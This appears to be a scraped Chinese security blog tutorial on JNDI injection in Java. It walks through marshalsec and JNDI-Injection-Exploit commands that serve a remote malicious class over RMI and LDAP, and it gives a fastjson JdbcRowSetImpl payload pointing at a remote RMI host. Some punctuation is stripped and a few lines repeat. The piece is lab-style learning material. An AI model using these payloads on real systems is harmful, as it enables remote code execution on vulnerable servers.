做网站找哪家公司,网站右下角弹出广告代码,最新被百度收录的网站,seo优化的方法有哪些前言
上次讲到JNDI注入这个玩意#xff0c;但是没有细讲#xff0c;现在就给它详细地讲个明白。
JNDI注入
那什么是JNDI注入呢#xff0c;JNDI全称为 Java Naming and Directory Interface#xff08;Java命名和目录接口#xff09;#xff0c;是一组应用程序接口但是没有细讲现在就给它详细地讲个明白。
JNDI注入
那什么是JNDI注入呢JNDI全称为 Java Naming and Directory InterfaceJava命名和目录接口是一组应用程序接口为开发人员查找和访问各种资源提供了统一的通用接口可以用来定义用户、网络、机器、对象和服务等各种资源NDI支持的服务主要有DNS、LDAP、CORBA、RMI等。 RMI远程方法调用注册表 LDAP轻量级目录访问协议
我说白了JNDI其实就是一个接口可以通过这个接口去调用一些远程服务。
先新建一个项目叫JNDI-demo。 JavaEE建议选择8。 接着新建一个类叫JNDIdemo。 写入以下的代码当Java想要远程调用一个对象的时候可以用javax.naming.InitialContext这个类的lookup方法来调用这个调用支持Rmi和Ldap协议。
package com.sf.maven.jndidemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {public static void main(String[] args) throws NamingException {//创建rmi、ldap服务InitialContext ic new InitialContext();//调用服务ic.lookup();}
}
JNDI-Injection-Exploit
我们先创建一个rmi服务还是利用JNDI-Injection-Exploit这个工具命令就是弹出一个计算机。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 8.xxx.xxx。xxx 代码填入我们的链接直接运行代码可以看到弹出计算机。 marshalsec-0.0.3-SNAPSHOT
就相当于我本地电脑通过rmi去请求一个远程的class文件并且执行里面的代码。如果我们换一个工具来搞的话效果会更直观我们先新建一个名为Test的Java文件。 写入以下的代码就是一个命令执行弹出计算机。 来到Test的目录下面把它编译成.class文件。
javac .\Test.java 把这个class文件放到web目录上面或者你开个临时http服务也行。
python -m http.server 8080
现在利用marshalsec-0.0.3-SNAPSHOT-all.jar这个工具来生成调用链接这个就没有JNDI-Injection-Exploit那么方便要像上面那样自己编写class文件不会根据命令给你自动生成。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test //启动LDAP服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test //启动RMI服务可以看到会生成一个端口连接。 使用远程调用。
lookup(“ldap://xx.xx.xx.xx:1389/Test”)
lookup(“rmi://xx.xx.xx.xx:1099/Test” 妈的不知道为啥一直弹不了计算机出来但是RMI服务和http服务是显示有连接的你妹的。 而且我java版本都是在1.8.0_112的啊。 崩溃啦有无了解的师傅可以指点一二。 哎接着我们来看看不同版本JDK或者不同的工具是否都能调用JDK和RMI过程就是不断换JDK版本去测试就行了具体我就不演示了直接给给过吧。
PS8U112相当于1.8.0_112其它的也是同理。
RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以LDAP - jndi-inject工具
DK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以
这里网上搞的包浆图可以看到不同的java版本所能调用的协议也是不同的。 或者你用其它的类也能达到JNDI注入。 黑盒测试
那我们怎样去知道有无JNDI注入这个漏洞呢我们可以通过发送错误数据去判断这里发送个错误的json数据然后报错中返回了fastjson说明可能存在JNDI注入然后利用DNSlog验证一下即可。 POC编写
假如我们知道有fastjson这个漏洞该如何编写poc呢上次我们演示fastjson的时候是自己写一个类com.wlwznb.user。 但是实战中我们不可能自己去写一个得用java自带的所以我们要指定com.sun.rowset.JdbcRowSetImpl这个类但是上面我们说是通过javax.naming.InitialContext.lookup()这个方法来实现远程调用的那为啥不指定这个。
其实是com.sun.rowset.JdbcRowSetImpl这个类里面自带了InitialContext.lookup()方法由上面图片可见。
{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://47.94.236.117:1099/wktunx,autoCommit:true}
总结
说实话JNDI对于不熟悉java的同学来说还是挺牢的毕竟涉及了很多java开发的东西。
最后还是要声明一下以上仅为个人的拙见如何有不对的地方欢迎各位师傅指正与补充有兴趣的师傅可以一起交流学习。 参考文章
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://blog.csdn.net/wushangyu32335/article/details/136131244
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/